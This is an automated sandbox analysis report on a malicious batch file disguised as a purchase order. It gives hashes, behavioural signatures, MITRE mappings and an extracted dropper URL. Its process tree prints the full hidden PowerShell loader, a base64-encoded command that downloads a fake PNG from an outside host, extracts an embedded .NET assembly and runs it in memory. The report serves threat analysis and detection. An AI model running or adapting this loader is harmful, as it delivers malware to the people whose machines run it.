bdf7479ed9d15ad280dbdec59efcb1c9e122d0db24a7cbe32ea4542e4bd0fcd2

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20251218-en
resource tags

arch:x64arch:x86image:win11-20251218-enlocale:en-usos:windows11-21h2-x64system
submitted
23/12/2025, 12:59

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General

Target
New purchase Order.bat
Size 1.9MB
Sample251223-p77dlszlas
SHA256 bdf7479ed9d15ad280dbdec59efcb1c9e122d0db24a7cbe32ea4542e4bd0fcd2
MD5 a5544c1b05350b9e31c4f661813eaaf0
SHA1 0d6ea17ba59d821d9ebec9b4c21161bc39855688
SHA512 491043d4693f1d6f59ea3b4edd1276679017ec99270d8a6ebf604364049a60adea3cc085f9ba2ff565aaf528829d961cb889b40b1e83e0cb9c74cab62a67ad4d
SSDEEP 6144:fibuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuN:fih
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2468	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2468	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2468	powershell.exe
2468	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4752 wrote to memory of 6064	4752	cmd.exe	78
PID 6064 wrote to memory of 5924	6064	cmd.exe	79
PID 4752 wrote to memory of 2468	4752	cmd.exe	80

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New purchase Order.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo prompt $E | megaflops
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "
    3⤵
    PID:5924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$nontyphoidal = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHBob3RvaHlwb25hc3R5ID0gJ2h0dHBzOi8vaWE4MDE3MDkudXMuYXJjaGl2ZS5vcmcvOC9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMjE2XzE3MjQvb3B0aW1pemVkX01TSS5wbmcnOyAkVHJpZmxleCA9ICdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXHpIclNXMVBJanEnOyBpZiAoIShUZXN0LVBhdGggJFRyaWZsZXgpIC1vciAoKEdldC1EYXRlKSAtIChHZXQtSXRlbSAkVHJpZmxleCkuTGFzdFdyaXRlVGltZSkuVG90YWxEYXlzIC1ndCAxKSB7ICAgJFByb2dyZXNzUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJzsgICBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICRwaG90b2h5cG9uYXN0eSAtT3V0RmlsZSAkVHJpZmxleCAtVXNlQmFzaWNQYXJzaW5nIH07ICRhbXBlcm9tZXRyeSA9IFtJTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRUcmlmbGV4KTsgJHNhdGlhdGVzID0gW1RleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJGFtcGVyb21ldHJ5KTsgJGR1ZWxlciA9ICRzYXRpYXRlcy5JbmRleE9mKCdCYXNlU3RhcnQtJyk7ICRBemVyYmFpamFuaSA9ICRzYXRpYXRlcy5JbmRleE9mKCctQmFzZUVuZCcpOyBpZiAoJGR1ZWxlciAtZ2UgMCAtYW5kICRBemVyYmFpamFuaSAtZ3QgJGR1ZWxlcikgeyAgICRwbGFudWxhbiA9ICRzYXRpYXRlcy5TdWJzdHJpbmcoJGR1ZWxlciArIDEwLCAkQXplcmJhaWphbmkgLSAkZHVlbGVyIC0gMTApOyAgICRhY2hyb21vdXMgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRwbGFudWxhbikpOyAgICRsYWJvdXIgPSAnSnoxUlNHVXdOVk5hTUVaSFduZFdNMHcxUVdwTmRVVlVUWFZGVkU1NU5FTlBNRVY2VEhadlJHTXdVa2hoSnl3bk1DY3NKME02WEZWelpYSnpYRkIxWW14cFkxeEViM2R1Ykc5aFpITmNKeXduZWtoeVUxY3hVRWxxY1Njc0owMXpZblZwYkdRbkxDY25MQ2ROYzJKMWFXeGtKeXduTVNjc0oxVlNUQ2NzSjBNNlhGVnpaWEp6WEZCMVlteHBZMXhFYjNkdWJHOWhaSE5jSnl3bmVraHlVMWN4VUVscWNTY3NKMkpoZENjc0p6RW5MQ2N3Snl3blJHSm5aVVZtUkhoT2RpY3NKekFuTENjbkxDY25MQ2NuJzsgICAkY3J1ZGl0aWVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbGFib3VyKSk7ICAgJGNoZWlsaXRpcyA9ICRjcnVkaXRpZXMgLXNwbGl0ICcsJyB8IEZvckVhY2gtT2JqZWN0IHsgJF8uVHJpbSgnJyciJyApIH07ICAgW0NsYXNzTGlicmFyeTEuQ2xhc3MxXS5HZXRNZXRob2QoIlZBSSIpLkludm9rZSgkbnVsbCwgJGNoZWlsaXRpcyk7IH0=')); Invoke-Expression $nontyphoidal"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_5lbve0um.0vu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5lbve0um.0vu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512